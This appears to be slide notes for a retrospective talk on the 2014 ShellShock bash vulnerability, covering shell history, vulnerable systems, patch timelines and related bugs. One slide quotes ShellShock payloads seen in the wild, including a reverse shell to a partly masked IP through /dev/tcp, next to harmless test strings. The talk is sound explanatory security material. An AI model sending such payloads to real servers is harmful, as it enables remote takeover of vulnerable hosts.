

ShellShock retrospective



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What is BASH, anyway?

A shell, a pun, a design bug.

- Bourne shell was 3rd generation BELL Labs Unix `/bin/sh` in V7 Unix; after Thompson and Mashey/PWB editions of `'sh'`.
`'sh'` is required functionality for `fork()` / `system()` to work. *Yes, libc calls sh.*
 - ASH & DASH [Debian] Almquist shell – conservative extended SH aliased as `sh` in many *BSD & Deb/untu(2009+).
 - Ksh, ksh88, ksh93, pksh: Korn shell. 4th Gen Bell shell. adopted by IBM AIX (aliased as `sh`)
 - Bourne-Again Shell
Gnu's pun name for their massive, interactive extension of Bourne's shell. Aliased as `/bin/sh` on many Gnu/Linux systems.
 - Zsh – further interactive extension of bash.
- Csh – alternative, more-C-like & interactive shell, popular as interactive shell on *BSD
 - Tcsh, enhanced interactive csh with Tenex features

[http://en.wikipedia.org/wiki/Unix_shell]

ShellShock : Another Horrid Pun

- On this 100th anniversary of WW1, Shellshock is nothing to laugh at.
 - Google shellshock images. [*Trigger warnings!!*]
- Pick your visual pun logo



What were they thinking?

- `env func='() {defin;};' scriptusingfunc.bash`
 - Bash was precursor to Java dependency-injection !

Had down side :

- `env ls='() {exploit here;};' rootscript.bash`
 - This another reason why SETUID is ignored on scripts!
 - Bad idea anyway?
 - They're “Considering” naming requirements ...

And had Remote injection – to avoid supporting separate codebase, let bash be original sh too:

- `ln [-s] /bin/bash /bin/sh`
- `env user_agent='() { :;;; echo put exploit here;}' some.cgi`
- Bash like Tcsh, Zsh, is an interactive shell,
 - too heavyweight for `#!` or `/bin/sh` useage!!

Exploit(able|ed) in the wild ?

- Yes and yes.

```
() { :;; /bin/ping -c 1 198.x.x.x;
```

```
() { :;; echo shellshock-scan > /dev/udp/example.com/1234
```

```
() { ignored;; /bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
```

- ErrataSec ran scan.


- <http://blog.erratasec.com/2014/09/-bug-is-wormable.html>

- <http://blog.erratasec.com/2014/09/scan-of-internet.html>

- At least he signed his scan so you knew it was a grayhat scan ...

- Disturbing # sites vulnerable on 80:/

- Would be more looking for /cgi-bin/* !



How's it work?

"SHELLSHOCK" BASH VULNERABILITY COULD HAVE FAR REACHING IMPLICATIONS

#shellshock

Command to set environmental variable before execution of Bash command

Tacked-on arbitrary commands which will be executed by Bash

```
env val='() { :;; } echo Unexpected command' bash -c "echo Real command"
```

Unexpected command

Real command

Unexpected command runs first

Expected command runs second

Potential to impact any computer running *NIX operating system. (CVE-2014-6271, CVE-2014-7169)

- Linux
- Unix
- OS X

Check with your software vendor now!

In the Wild 2

ACTUAL TEST (SERVER NAME REMOVED TO PROTECT THE GUILTY)

```
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
$
```

Yahoo Sports API servers were not susceptible to ShellShock, but were otherwise subverted to look for shellshock vulns, via command injection bug in weblog debug script. *

More <https://isc.sans.edu/diary.html?storyid=18725>

SANS ISC timeline

Archive Diary List 2014-9-01 <https://isc.sans.edu/diaryarchive.html?year=2014&month=9>

Date Author Title

- 2014-09-30 Russ McRee ISC threat level returned to green - ShellShock message traffic subsiding, recommend focus on patching and monitoring (oneliner) (0 Comments)
- 2014-09-30 Russ McRee DerbyCon highlights (2 Comments)
- 2014-09-30 Johannes Ullrich ISC StormCast for Tuesday, September 30th 2014 <http://isc.sans.edu/podcastdetail.html?id=4169> (oneliner) (0 Comments)
- 2014-09-29 Johannes Ullrich Apple Released Update to Fix Shellshock Vulnerability <http://support.apple.com/kb/DL1769> (oneliner) (0 Comments)
- 2014-09-29 Johannes Ullrich Shellshock: Updated **Webcast** (Now 6 bash related CVEs!) (1 Comments)
- 2014-09-29 Johannes Ullrich Shellshock: A Collection of Exploits seen in the wild (11 Comments)
- 2014-09-29 Johannes Ullrich Shellshock: We are not done yet CVE-2014-6277, CVE-2014-6278 (0 Comments)
- 2014-09-29 Johannes Ullrich Shellshock: Vulnerable Systems you may have missed and how to move forward (2 Comments)
- 2014-09-29 Johannes Ullrich ISC StormCast for Monday, September 29th 2014 <http://isc.sans.edu/podcastdetail.html?id=4167> (oneliner) (0 Comments)
- 2014-09-27 Guy Bruneau What has Bash and Heartbleed Taught Us? (1 Comments)
- 2014-09-26 Richard Porter Why We Have Moved to InfoCon:Yellow (6 Comments)
- 2014-09-26 Richard Porter Semiannual Cisco IOS Software Security Advisory Bundled Publication http://www.cisco.com/web/about/security/intelligence/Cisco_ERP_sep14.html (oneliner) (0 Comments)
- 2014-09-25 Johannes Ullrich ISC StormCast for Friday, September 26th 2014 <http://isc.sans.edu/podcastdetail.html?id=4165> (oneliner) (0 Comments)
- 2014-09-25 Johannes Ullrich Webcast **Briefing**: Bash Code Injection Vulnerability (7 Comments)
- 2014-09-25 Johannes Ullrich Update on CVE-2014-6271: Vulnerability in bash (shellshock) (28 Comments)
- 2014-09-25 Johannes Ullrich ISC StormCast for Thursday, September 25th 2014 <http://isc.sans.edu/podcastdetail.html?id=4163> (oneliner) (0 Comments)
- 2014-09-24 Pedro Bueno Attention *NIX admins, time to patch! (7 Comments)

What is (not) vulnerable?

Vulnerable

- Initially assumed ~~only shell~~ bin-cgi's, rare, ~~but all embedded~~.
- Any bash w/ rogue ENV
 - Fork/**system**() with sh=>bash
 - RH, Mac, older Debian, ...
 - cgi-bin forks **system**()
 - *sh, **perl**, exe, ...
 - OpenVPN server
 - DHCP client **#!/bash** even on Debuntu !
 - CPanel, CUPS, ... admin tools.
 - SSH (restriction broken)
 - **Perl** `Backtick` & **system**()
 - to *any* language
 - Uses /bin/sh to parse

Not Vulnerable

- Recent Debian/Ubuntu cgi safe
 - **system**() sh=>dash
 - 2009+
- Systems using ash/ksh
 - iOS, Android , *BSD
- Mac services not exposed by default
- Most embedded appliances
sh=>busybox
- Antiques sh=>(b)?sh
- **exec**()
 - List-mode Argv
 - Fixed exec pathname

Horrors patching an older system manually

- <https://github.com/sillymoose/bashfix/issues/1>
- jkeenanan

Reverse DNS (Mac only)

(bonus slide added later)

- Reverse DNS bash exploit
- "At this point of time the stock resolvers (in combination with the libc library) of OSX 10.9 (all versions) and 10.10/R2 are the only known standard installations that pass the bash exploit string back and up to getnameinfo()."
- "The Apple resolver is the only one that passes special characters through without escapes, and that enables the syntax required for the exploit. "
- Full Disclosure: CVE-2014-3671: DNS Reverse Lookup as a vector for the Bash vulnerability (CVE-2014-6271 .)
- <http://seclists.org/fulldisclosure/2014/Oct/53>

Another ancient lurking horror

- “Problems with data serializers was a major change to Mastering Perl. The **Storable issue with malformed inputs** was known for a long time but nobody much cared about it. Now it’s **Data::Dumper**'s turn.
“**CVE-2014-4330** uncovered a problem for very deeply nested data structures. Data::Dumper can’t handle it past a certain point and perl gives up.”
http://www.masteringperl.org/2014/10/the-datadumper-stack-smash-fixed/?utm_source=twitterfeed&utm_medium=twitter

GIGO, No problem? No.

- It's remotely executable.
- Our XML parsing uses Data::Dumper.
- XML can make self-referential datastructure.
- Which is what chokes Data::Dumper.
- The Xml RPC webpage interface (pre-JSON JAX) expose 'send me XML' Perl.
- See also
<http://osdir.com/ml/general/2014-09/msg58174.html>

POODLE

(bonus slide added later)

- “Padding Oracle on Downgraded Legacy Encryption”
- Yet another side-jack exploit – HTTPS in Starbucks not safe if SSLv3 downgrade allowed !
 - Another "Padding Oracle" attack on Block-mode ciphers on the deprecated SSL3 (replaced by TLS1.1)
- <http://www.wired.com/2014/10/poodle-explained/>
- Disable ssl3 in browser, servers. Now.

Many Eyes make bugs shallow??

- Many eyes only works when we LOOK.
- Folks have found MULTIPLE problems with BASH once fuzzing with invalid input was CONSIDERED.
- LOOK.
- Look especially at what bad input program could get, and error handling/recovery of that. Any input. Test suite is probably < 50% for that,
 - even if it has “full test cover”
as the missing tests would test missing code !!
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Links

- SANS Internet Storm Center
- - <https://isc.sans.edu/diaryarchive.html?year=2014&month=9>
 - *also daily podcast M-F*
- Security Now! (TwiT.tv/sn) (*weekly podcast*)
 - “Shocked by the Shell”, SN#475, show notes: <https://www.grc.com/sn/SN-475-Notes.pdf>
 - Update on Yahoo! worm <https://www.grc.com/sn/SN-476-Notes.pdf>
- 5 Articles <http://javarevisited.blogspot.sg/2014/10/5-articles-to-learn-about-shellshock.html>
- OpenVPN vuln <http://threatpost.com/openvpn-vulnerable-to-shellshock-bash-vulnerability/108616>
- ShellShock &Perl <http://pertricks.com/article/115/2014/9/26/Shellshock-and-Perl>
 - avoid the shell http://www.perlmonks.org/?node_id=1101954
- Ars recap <http://arstechnica.com/security/2014/09/shellshock-fixes-beget-another-round-of-patches-as-attacks-mount/>
- How to patch <http://hackaholic.info/shellshock-and-how-to-patch-it/>
- 7 Q&A <http://www.cygnet-infotech.com/shellshock-bash-software-bug-top-7-questions-answered>
- Xploits <http://www.exploit-db.com/exploits/34766/>
<https://github.com/mubix/shellshocker-pocs>
- Admin mag <http://www.admin-magazine.com/News/Bash-Shellshock-Bug-Causes-Attacks-Around-the-World>
- Symantec <http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability>
- Tom notes <https://www.mail-archive.com/busybox@busybox.net/msg08680.html>
“Busybox may not be as POSIX compliant as Dash.” (Did anyone claim it was?)
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